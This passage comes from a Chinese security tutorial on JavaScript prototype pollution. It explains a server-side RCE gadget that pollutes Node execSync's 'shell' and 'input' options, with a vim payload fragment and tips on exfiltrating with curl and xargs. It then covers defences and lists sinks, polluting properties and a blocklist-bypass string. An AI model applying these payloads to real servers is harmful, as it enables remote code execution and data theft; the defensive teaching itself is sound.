也接受选项对象,这些对象可以通过原型链污染。尽管这不接受 execArgv
属性,但您仍可以通过同时污染 和 input
属性 shell
将系统命令注入正在运行的子进程:
-
该
input
选项只是一个字符串,该字符串传递到子进程的stdin
流,并由 作为execSync()
系统命令执行。由于还有其他选项可用于提供命令,例如简单地将其作为参数传递给函数,因此input
属性本身可能未定义。
-
该
shell
选项允许开发人员声明他们希望在其中运行命令的特定 shell。默认情况下,execSync()
使用系统的默认 shell 来运行命令,因此也可以不定义。
通过污染这两个属性,您可以覆盖应用程序开发人员打算执行的命令,而是在您选择的 shell 中运行恶意命令。请注意,这需要注意一些:
-
该
shell
选项仅接受 shell 可执行文件的名称,不允许设置任何其他命令行参数。
-
shell 始终使用参数执行,大多数 shell 使用该
-c
参数允许您将命令作为字符串传入。但是,在 Node 中设置-c
标志反而会对提供的脚本运行语法检查,这也会阻止它执行。因此,尽管有解决方法,但使用 Node 本身作为攻击的 shell 通常很棘手。
-
由于包含有效负载
input
的属性是通过 传递stdin
的,因此您选择的 shell 必须接受来自 的stdin
命令。
虽然它们并不是真正打算成为shell,但文本编辑器Vim和ex可靠地满足了所有这些标准。如果其中任何一个碰巧安装在服务器上,这将为 RCE 创建一个潜在的向量:
"shell":"vim",
"input":":! <command>n"
Vim 有一个交互式提示,并期望用户点击
Enter
以运行提供的命令。因此,您需要通过在有效负载末尾包含换行n
符来模拟这一点,如上例所示。
此技术的另一个限制是,默认情况下,您可能希望用于漏洞利用的某些工具也不会从中 stdin
读取数据。但是,有几种简单的方法可以解决此问题。例如,在 的情况下 curl
,您可以使用参数 -d @-
读取 stdin
内容并将其作为 POST
请求正文发送。
在其他情况下,可以使用 , xargs
它将转换为 stdin
可传递给命令的参数列表。
0x18 防御方法
我们建议您修补您在网站中发现的任何原型污染漏洞,无论这些漏洞是否与可利用的方法相结合。即使您确信自己没有错过任何内容,也不能保证将来对您自己的代码或您使用的任何库的更新不会引入新的方法,从而为可行的漏洞利用铺平道路。
在本节中,我们将提供一些高级建议,说明您可以采取的一些措施来保护您自己的网站免受我们在实验室中介绍的威胁。我们还将介绍一些需要避免的常见陷阱。
过滤keys
防止原型污染漏洞的更明显方法之一是在将属性key合并到现有对象之前对其进行清理。这样,您可以防止攻击者注入引用对象原型的key,例如__proto__
。
使用允许key的允许列表是执行此操作的最有效方法。但是,由于这在许多情况下不可行,因此通常使用阻止列表,从用户输入中删除任何潜在的危险字符串。
虽然这是一个快速的修复,但真正强大的阻止列表本质上是棘手的,正如成功阻止 __proto__
的网站所证明的那样,但未能解释攻击者通过其构造函数污染对象的原型。同样,弱实现也可以使用简单的混淆技术绕过。出于这个原因,我们只建议将其作为权宜之计,而不是长期解决方案。
防止更改原型对象
防止原型污染漏洞的更可靠方法是防止原型对象被更改。在对象上调用 Object.freeze()
该方法可确保无法再修改其属性及其值,并且无法添加新属性。由于原型本身只是对象,因此您可以使用此方法主动切断任何潜在的源:
Object.freeze(Object.prototype);
该方法 Object.seal()
类似,但仍允许更改现有属性的值。如果您 Object.freeze()
因任何原因无法使用,这可能是一个很好的折衷方案。
防止对象继承属性
虽然您可以使用 Object.freeze()
阻止潜在的原型污染源,但您也可以采取措施消除小工具。这样,即使攻击者发现了原型污染漏洞,它也可能是不可利用的。
默认情况下,所有对象都通过原型链直接或间接地从全局 Object.prototype
继承。但是,您也可以通过使用 Object.create()
该方法创建对象来手动设置对象的原型。这不仅允许您将任何您喜欢的对象指定为新对象的原型,还可以使用 null
原型创建对象,从而确保它根本不会继承任何属性。
let myObject = Object.create(null);
Object.getPrototypeOf(myObject); // null
尽可能使用更安全的替代品
针对原型污染的另一个强大防御措施是使用提供内置保护的对象。例如,在定义选项对象时,可以改用 。 Map
尽管映射仍然可以继承恶意属性,但它们具有仅返回直接在映射本身上定义的属性的内置 get()
方法:
Object.prototype.evil = 'polluted';
let options = new Map();
options.set('transport_url', 'https://normal-website.com');
options.evil; // 输出 'polluted'
options.get('evil'); // 输出 undefined
options.get('transport_url'); // 'https://normal-website.com'
如果您 Set
只是存储值而不是 key:value
成对,A 是另一种选择。就像映射一样,集合提供内置方法,这些方法仅返回直接在对象本身上定义的属性:
Object.prototype.evil = 'polluted';
let options = new Set();
options.add('safe');
options.evil; // 输出 'polluted';
option.has('evil'); // 输出 false
options.has('safe'); // 输出 true
0x19 扩展知识
prototype和__proto__的区别
prototype
和__proto__
是不同的概念。prototype
是函数对象的属性,用于定义构造函数创建的对象的原型,而__proto__
是对象的属性,用于访问和修改对象的原型对象。
0x20 总结
总的来说,原型污染的核心是修改开放性的“继承”函数进行串改。原型污染的流程找到相关的危险函数->找到可执行的输入源->payload.
可能受原型污染的接收函数
-
JSON.parse
-
Object.assign
-
merge()
-
Object.create
-
eval
-
克隆性质的相关函数
-
for...in
-
....
原型污染来源
-
URL
-
JSON
-
web 相关输入
-
....
原型污染常用的属性
-
__proto__
-
prototype
-
__proto__['headers']
-
Object.constructor
-
Object.constructor.__proto__
-
....
绕过的手段
-
剥离字符串,例如:__pro__proto__to__
-
....
注:有关原型的相关知识点,笔者录制了一个原型相关的视频来进行讲解,笔者通过思维导图的方式来对原型做了一个系统性归纳总结与思考,比较通俗易懂,市面上极少数人是这么做的,原型这部分知识点本身在JS中比较难懂,能把这部分知识点讲解的通俗易懂的少之又少,感兴趣可以加入下面的知识星球。
往期回顾
福利视频
笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品
https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374
技术交流
技术交流请加笔者微信:richardo1o1 (暗号:growing)
原文始发于微信公众号(迪哥讲事):JavaScript 客户端原型污染漏洞原理讲解及分析教程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论